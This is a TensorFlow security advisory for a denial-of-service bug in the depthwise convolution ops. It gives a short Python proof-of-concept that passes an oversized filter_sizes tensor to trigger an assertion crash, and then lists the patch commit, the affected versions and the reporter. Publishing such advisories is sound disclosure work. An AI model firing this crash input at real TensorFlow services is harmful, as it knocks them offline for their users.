Impact

The implementation of depthwise ops in TensorFlow is vulnerable to a denial of service via CHECK-failure (assertion failure) caused by overflowing the number of elements in a tensor:

import tensorflow as tf

input = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)
filter_sizes = tf.constant(1879048192, shape=[13], dtype=tf.int32)
out_backprop = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)
tf.raw_ops.DepthwiseConv2dNativeBackpropFilter(
    input=input, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 1, 1, 1], padding="SAME")

This is another instance of TFSA-2021-198 (CVE-2021-41197).

Patches

We have patched the issue in GitHub commit 3796cc4fcd93ae55812a457abc96dcd55fbb854b.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

References

• GHSA-mw6j-hh29-h379
• tensorflow/tensorflow@3796cc4
• https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md